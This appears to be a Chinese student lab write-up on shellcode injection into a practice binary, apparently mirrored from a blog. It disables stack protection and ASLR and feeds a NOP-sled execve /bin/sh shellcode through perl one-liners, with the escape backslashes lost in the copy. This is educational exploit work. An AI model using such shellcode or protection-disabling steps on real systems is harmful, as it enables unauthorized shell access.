zoukankan      html  css  js  c++  java
  • 20155311《网络对抗》PC平台逆向破解(二)

    20155311《网络对抗》PC平台逆向破解(二)

    • shellcode注入

    什么是shellcode?
    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

    • 前期准备——安装execstack,修改设置

    • 输入execstackapt-get install execstack下载exectstack

    设置堆栈可执行execstack -s pwn20155311
    看看堆栈是否可执行execstack -q pwn20155311

    • 输入more /proc/sys/kernel/randomize_va_space,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化

    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

    • 准备完毕,开始运行并gdb调试

    输入shellcode的内容perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode运行pwn20155311,输入命令(cat input_shellcode;cat) | ./pwn20155311

    • 通过设置断点,来查看注入buf的内存地址

    • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155311

  • 相关阅读:
    LINUX系列:Shell命令
    java程序猿必须掌握的4种线程池
    JAVA编程:Lock线程锁
    Spring框架之IOC的基本配置
    浅谈Java中的内部类
    [XDFZDay2]NOIP模拟
    [XDFZ集训Day1]NOI2020模拟1
    CSP2019游记
    11.11-11.12 CSP模拟总结
    [BJOI2019]排兵布阵
  • 原文地址:https://www.cnblogs.com/gaoziyun11/p/8598125.html
Copyright © 2011-2022 走看看